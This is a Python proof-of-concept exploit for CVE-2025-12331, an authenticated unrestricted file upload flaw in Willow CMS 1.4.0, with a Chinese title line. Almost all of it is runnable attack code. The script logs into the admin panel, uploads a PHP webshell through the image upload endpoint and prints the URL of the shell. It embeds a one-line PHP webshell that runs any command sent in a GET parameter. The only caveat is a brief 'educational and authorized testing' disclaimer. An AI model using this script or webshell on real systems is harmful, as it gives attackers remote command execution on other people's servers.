CVE-2025-12331 Willow CMS 1.4.0 管理员无限制文件上传漏洞

#!/usr/bin/env python3 """ CVE-2025-12331 PoC - Willow CMS Unrestricted File Upload Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys import re def exploit_cve_2025_12331(target_url, username, password, webshell_content): """ Exploit for Willow CMS <= 1.4.0 unrestricted file upload vulnerability Args: target_url: Base URL of Willow CMS (e.g., http://target.com/willow) username: Admin username password: Admin password webshell_content: Content of the webshell to upload """ session = requests.Session() # Step 1: Login to admin panel login_url = f"{target_url}/admin/login" login_data = { 'username': username, 'password': password } try: response = session.post(login_url, data=login_data, timeout=10) # Step 2: Upload malicious file via /admin/images/add endpoint upload_url = f"{target_url}/admin/images/add" # Prepare malicious file files = { 'image': ('webshell.php', webshell_content, 'application/x-php') } upload_response = session.post(upload_url, files=files, timeout=10) # Step 3: Extract uploaded file path # The response may contain the uploaded file path or name uploaded_path = None if upload_response.status_code == 200: # Try to extract file path from response match = re.search(r'/uploads/images/([^\s"<>]+)', upload_response.text) if match: uploaded_path = f"{target_url}/uploads/images/{match.group(1)}" if uploaded_path: print(f"[+] File uploaded successfully!") print(f"[+] Access webshell at: {uploaded_path}") return uploaded_path else: print("[-] Failed to extract upload path") return None except requests.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": # Example webshell content webshell = "<?php system($_GET['cmd']); ?>" # Usage example if len(sys.argv) > 3: target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_cve_2025_12331(target, user, pwd, webshell) else: print("Usage: python3 poc.py <target_url> <username> <password>") print("Example: python3 poc.py http://localhost/willow admin password123")